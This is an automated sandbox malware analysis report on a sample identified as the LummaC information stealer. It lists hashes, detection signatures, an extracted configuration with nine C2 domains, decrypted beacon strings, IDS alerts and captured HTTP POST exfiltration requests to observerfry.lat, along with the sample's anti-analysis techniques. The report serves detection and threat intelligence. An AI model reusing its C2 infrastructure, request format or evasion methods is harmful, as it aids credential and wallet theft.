Edit tour

Windows Analysis Report
wIgjKoo9iI.exe

Overview

General Information

Sample name:	wIgjKoo9iI.exe renamed because original name is a hash value
Original sample name:	1c22d90d4f3c0be6834e0777c7b4d18a.exe
Analysis ID:	1580381
MD5:	1c22d90d4f3c0be6834e0777c7b4d18a
SHA1:	c1700cda1dbd134cbc353f6a5c75863a36ff8fef
SHA256:	c4a413d00c7eda2aedbafe67afeb0f887531b01335fd59ce51d9901f829aedfe
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

wIgjKoo9iI.exe (PID: 6392 cmdline: "C:\Users\user\Desktop\wIgjKoo9iI.exe" MD5: 1C22D90D4F3C0BE6834E0777C7B4D18A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["bashfulacid.lat", "manyrestro.lat", "curverpluch.lat", "observerfry.lat", "wordyfindy.lat", "shapestickyr.lat", "slipperyloo.lat", "tentabatte.lat", "talkynicer.lat"], "Build id": "Organisation4Na--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: wIgjKoo9iI.exe PID: 6392	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: wIgjKoo9iI.exe PID: 6392	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:39:04.771997+0100	2028371	3	Unknown Traffic	192.168.2.6	49707	104.21.36.201	443	TCP
2024-12-24T12:39:06.751096+0100	2028371	3	Unknown Traffic	192.168.2.6	49708	104.21.36.201	443	TCP
2024-12-24T12:39:09.117133+0100	2028371	3	Unknown Traffic	192.168.2.6	49710	104.21.36.201	443	TCP
2024-12-24T12:39:11.568156+0100	2028371	3	Unknown Traffic	192.168.2.6	49711	104.21.36.201	443	TCP
2024-12-24T12:39:13.947082+0100	2028371	3	Unknown Traffic	192.168.2.6	49712	104.21.36.201	443	TCP
2024-12-24T12:39:16.492738+0100	2028371	3	Unknown Traffic	192.168.2.6	49714	104.21.36.201	443	TCP
2024-12-24T12:39:18.961229+0100	2028371	3	Unknown Traffic	192.168.2.6	49720	104.21.36.201	443	TCP
2024-12-24T12:39:23.254435+0100	2028371	3	Unknown Traffic	192.168.2.6	49740	104.21.36.201	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:39:05.529811+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49707	104.21.36.201	443	TCP
2024-12-24T12:39:07.523508+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49708	104.21.36.201	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:39:05.529811+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49707	104.21.36.201	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:39:07.523508+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49708	104.21.36.201	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:39:17.296304+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49714	104.21.36.201	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: wIgjKoo9iI.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://observerfry.lat/mA	Avira URL Cloud: Label: malware
Source: https://observerfry.lat/apiime	Avira URL Cloud: Label: malware
Source: https://observerfry.lat/apiiceq5	Avira URL Cloud: Label: malware
Source: https://observerfry.lat/hV#	Avira URL Cloud: Label: malware
Source: https://observerfry.lat/apit	Avira URL Cloud: Label: malware
Source: https://observerfry.lat/(Vc	Avira URL Cloud: Label: malware
Source: https://observerfry.lat/%	Avira URL Cloud: Label: malware
Source: https://observerfry.lat/0Vk	Avira URL Cloud: Label: malware
Source: https://observerfry.lat/Ws	Avira URL Cloud: Label: malware

Found malware configuration

Source: wIgjKoo9iI.exe.6392.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["bashfulacid.lat", "manyrestro.lat", "curverpluch.lat", "observerfry.lat", "wordyfindy.lat", "shapestickyr.lat", "slipperyloo.lat", "tentabatte.lat", "talkynicer.lat"], "Build id": "Organisation4Na--"}

Multi AV Scanner detection for submitted file

Source: wIgjKoo9iI.exe

ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: wIgjKoo9iI.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000003.2108946002.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: bashfulacid.lat
Source: 00000000.00000003.2108946002.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tentabatte.lat
Source: 00000000.00000003.2108946002.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: curverpluch.lat
Source: 00000000.00000003.2108946002.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: talkynicer.lat
Source: 00000000.00000003.2108946002.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: shapestickyr.lat
Source: 00000000.00000003.2108946002.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: manyrestro.lat
Source: 00000000.00000003.2108946002.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: slipperyloo.lat
Source: 00000000.00000003.2108946002.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: wordyfindy.lat
Source: 00000000.00000003.2108946002.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: observerfry.lat
Source: 00000000.00000003.2108946002.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.2108946002.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.2108946002.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.2108946002.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.2108946002.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.2108946002.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String decryptor: LOGS11--LiveTraffic

Source: wIgjKoo9iI.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.6:49720 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49708 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49708 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49707 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49707 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49714 -> 104.21.36.201:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: bashfulacid.lat
Source: Malware configuration extractor	URLs: manyrestro.lat
Source: Malware configuration extractor	URLs: curverpluch.lat
Source: Malware configuration extractor	URLs: observerfry.lat
Source: Malware configuration extractor	URLs: wordyfindy.lat
Source: Malware configuration extractor	URLs: shapestickyr.lat
Source: Malware configuration extractor	URLs: slipperyloo.lat
Source: Malware configuration extractor	URLs: tentabatte.lat
Source: Malware configuration extractor	URLs: talkynicer.lat

Source: Joe Sandbox View

IP Address: 104.21.36.201 104.21.36.201

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49710 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49711 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49707 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49712 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49720 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49708 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49740 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49714 -> 104.21.36.201:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 53Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=1UREJEZSUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12805Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=HE708OO6FK6ZEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15081Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=08P308GJFX5WL4XTTTFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19975Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=JIFMJI7GSTHUYH3LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1226Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=UPBG9LRN9D56VKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 572281Host: observerfry.lat

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: observerfry.lat

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: observerfry.lat

Source: wIgjKoo9iI.exe, 00000000.00000003.2205014314.0000000005186000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: wIgjKoo9iI.exe, 00000000.00000003.2205014314.0000000005186000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: wIgjKoo9iI.exe, 00000000.00000003.2230777374.0000000000A58000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2230881579.0000000000A5A000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2156410789.0000000000A58000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2256178893.0000000000A5A000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2306688619.0000000000AAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro0
Source: wIgjKoo9iI.exe, 00000000.00000003.2205014314.0000000005186000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: wIgjKoo9iI.exe, 00000000.00000003.2205014314.0000000005186000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: wIgjKoo9iI.exe, 00000000.00000003.2205014314.0000000005186000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: wIgjKoo9iI.exe, 00000000.00000003.2205014314.0000000005186000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: wIgjKoo9iI.exe, 00000000.00000003.2205014314.0000000005186000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: wIgjKoo9iI.exe, 00000000.00000003.2205014314.0000000005186000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: wIgjKoo9iI.exe, 00000000.00000003.2205014314.0000000005186000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: wIgjKoo9iI.exe, 00000000.00000003.2205014314.0000000005186000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: wIgjKoo9iI.exe, 00000000.00000003.2205014314.0000000005186000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: wIgjKoo9iI.exe, 00000000.00000003.2157396077.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157462685.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157344507.00000000051AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: wIgjKoo9iI.exe, 00000000.00000003.2206500352.0000000005168000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: wIgjKoo9iI.exe, 00000000.00000003.2228230125.0000000005161000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: wIgjKoo9iI.exe, 00000000.00000003.2157396077.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157462685.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157344507.00000000051AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: wIgjKoo9iI.exe, 00000000.00000003.2157396077.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157462685.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157344507.00000000051AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: wIgjKoo9iI.exe, 00000000.00000003.2157396077.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157462685.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157344507.00000000051AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: wIgjKoo9iI.exe, 00000000.00000003.2206500352.0000000005168000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: wIgjKoo9iI.exe, 00000000.00000003.2228230125.0000000005161000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: wIgjKoo9iI.exe, 00000000.00000003.2157396077.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157462685.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157344507.00000000051AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: wIgjKoo9iI.exe, 00000000.00000003.2157396077.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157462685.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157344507.00000000051AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: wIgjKoo9iI.exe, 00000000.00000003.2157396077.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157462685.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157344507.00000000051AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: wIgjKoo9iI.exe, 00000000.00000003.2228230125.0000000005161000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2206500352.0000000005168000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: wIgjKoo9iI.exe, 00000000.00000003.2311827697.0000000000AC3000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2230682745.0000000000ABE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/
Source: wIgjKoo9iI.exe, 00000000.00000003.2156410789.0000000000A58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/%
Source: wIgjKoo9iI.exe, 00000000.00000002.2316070880.0000000000AC3000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2306532822.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2270646307.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2311827697.0000000000AC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/(Vc
Source: wIgjKoo9iI.exe, 00000000.00000002.2316070880.0000000000AC3000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2311827697.0000000000AC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/0Vk
Source: wIgjKoo9iI.exe, 00000000.00000003.2228362688.0000000005169000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2231490804.0000000005169000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/Ws
Source: wIgjKoo9iI.exe, wIgjKoo9iI.exe, 00000000.00000002.2316070880.0000000000AC3000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2312256078.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2306532822.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2270646307.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000002.2315881181.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2206447532.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2306734587.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2311827697.0000000000AC3000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2156410789.0000000000A58000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2181367907.000000000516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/api
Source: wIgjKoo9iI.exe, 00000000.00000003.2206447532.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apiiceq5
Source: wIgjKoo9iI.exe, 00000000.00000003.2181367907.000000000516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apiime
Source: wIgjKoo9iI.exe, 00000000.00000003.2312256078.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000002.2315881181.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apit
Source: wIgjKoo9iI.exe, 00000000.00000002.2316070880.0000000000AC3000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2306532822.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2270646307.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2311827697.0000000000AC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/hV#
Source: wIgjKoo9iI.exe, 00000000.00000003.2228362688.0000000005169000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2206500352.0000000005168000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2204524225.0000000005168000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2231490804.0000000005169000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/mA
Source: wIgjKoo9iI.exe, 00000000.00000002.2316070880.0000000000AC3000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2306532822.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2270646307.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2311827697.0000000000AC3000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2156410789.0000000000A58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/pi
Source: wIgjKoo9iI.exe, 00000000.00000003.2312256078.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000002.2315881181.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2306734587.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat:443/api
Source: wIgjKoo9iI.exe, 00000000.00000003.2206169685.000000000528D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: wIgjKoo9iI.exe, 00000000.00000003.2206169685.000000000528D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: wIgjKoo9iI.exe, 00000000.00000003.2228230125.0000000005161000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
